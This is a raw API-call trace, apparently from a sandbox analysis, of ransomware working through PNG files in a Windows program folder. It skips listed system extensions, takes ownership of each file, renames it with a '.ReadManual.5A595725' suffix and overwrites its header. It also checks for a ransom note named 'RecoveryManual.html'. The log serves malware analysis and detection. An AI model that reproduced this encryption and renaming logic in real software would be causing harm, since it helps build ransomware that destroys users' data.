StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.311] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.311] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.311] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.311] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.311] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.311] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.311] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.311] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.311] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.311] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.311] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.311] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" [0254.311] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0254.311] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 115 [0254.311] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37497982839) returned 1 [0254.311] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png")) returned 0x20 [0254.312] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.312] GetLastError () returned 0x5 [0254.312] GetNamedSecurityInfoW () returned 0x0 [0254.312] SetNamedSecurityInfoW () returned 0x0 [0254.312] SetNamedSecurityInfoW () returned 0x0 [0254.314] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.314] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0254.314] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0254.314] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf6) returned 1 [0254.315] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.315] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.316] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.317] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0254.317] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.317] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37498569830) returned 1 [0254.317] CloseHandle (hObject=0x1a0) returned 1 [0254.317] SetSecurityInfo () returned 0x5 [0254.317] SetSecurityInfo () returned 0x5 [0254.317] LocalFree (hMem=0x674d38) returned 0x0 [0254.317] CloseHandle (hObject=0x184) returned 1 [0254.321] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.321] lstrcpyW (in: lpString1=0x6ab91a, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0254.321] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.321] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.321] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.321] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.321] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.321] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.321] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.321] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.322] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.322] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.322] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.322] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.322] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.322] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.322] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.322] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.322] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" [0254.322] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0254.322] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 121 [0254.322] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37499061462) returned 1 [0254.322] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png")) returned 0x20 [0254.322] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.322] GetLastError () returned 0x5 [0254.322] GetNamedSecurityInfoW () returned 0x0 [0254.323] SetNamedSecurityInfoW () returned 0x0 [0254.323] SetNamedSecurityInfoW () returned 0x0 [0254.325] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.325] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0254.325] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0254.325] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x102) returned 1 [0254.326] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.326] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.339] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.339] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0254.340] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.340] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37500838538) returned 1 [0254.340] CloseHandle (hObject=0x1a0) returned 1 [0254.340] SetSecurityInfo () returned 0x5 [0254.340] SetSecurityInfo () returned 0x5 [0254.340] LocalFree (hMem=0x674d38) returned 0x0 [0254.340] CloseHandle (hObject=0x184) returned 1 [0254.344] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.344] lstrcpyW (in: lpString1=0x6ab91a, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0254.344] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.344] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.344] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.344] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.344] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.344] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.344] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.344] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.344] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" [0254.344] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0254.344] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 116 [0254.344] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37501313732) returned 1 [0254.344] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png")) returned 0x20 [0254.345] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.345] GetLastError () returned 0x5 [0254.345] GetNamedSecurityInfoW () returned 0x0 [0254.345] SetNamedSecurityInfoW () returned 0x0 [0254.346] SetNamedSecurityInfoW () returned 0x0 [0254.347] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.347] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0254.347] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0254.347] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf8) returned 1 [0254.348] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.348] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.350] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.351] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0254.351] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.351] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37501960145) returned 1 [0254.351] CloseHandle (hObject=0x1a0) returned 1 [0254.351] SetSecurityInfo () returned 0x5 [0254.351] SetSecurityInfo () returned 0x5 [0254.351] LocalFree (hMem=0x674d38) returned 0x0 [0254.351] CloseHandle (hObject=0x184) returned 1 [0254.351] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.351] lstrcpyW (in: lpString1=0x6ab91a, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0254.351] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.351] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.351] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.351] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.351] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.351] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.351] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.352] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.352] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.352] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.352] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.352] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.352] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.352] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.352] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.352] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.352] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" [0254.352] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0254.352] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 122 [0254.352] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37502063480) returned 1 [0254.352] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.352] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.352] GetLastError () returned 0x5 [0254.352] GetNamedSecurityInfoW () returned 0x0 [0254.352] SetNamedSecurityInfoW () returned 0x0 [0254.353] SetNamedSecurityInfoW () returned 0x0 [0254.354] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.355] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0254.355] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0254.355] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x104) returned 1 [0254.356] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.356] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.357] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.357] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0254.358] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.358] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37502634227) returned 1 [0254.358] CloseHandle (hObject=0x1a0) returned 1 [0254.358] SetSecurityInfo () returned 0x5 [0254.358] SetSecurityInfo () returned 0x5 [0254.358] LocalFree (hMem=0x674d38) returned 0x0 [0254.358] CloseHandle (hObject=0x184) returned 1 [0254.359] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.359] lstrcpyW (in: lpString1=0x6ab91a, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0254.359] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.359] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.359] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.359] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.359] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.359] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.359] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.359] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.359] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" [0254.359] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0254.359] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 113 [0254.359] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37502823490) returned 1 [0254.360] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png")) returned 0x20 [0254.360] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.360] GetLastError () returned 0x5 [0254.360] GetNamedSecurityInfoW () returned 0x0 [0254.360] SetNamedSecurityInfoW () 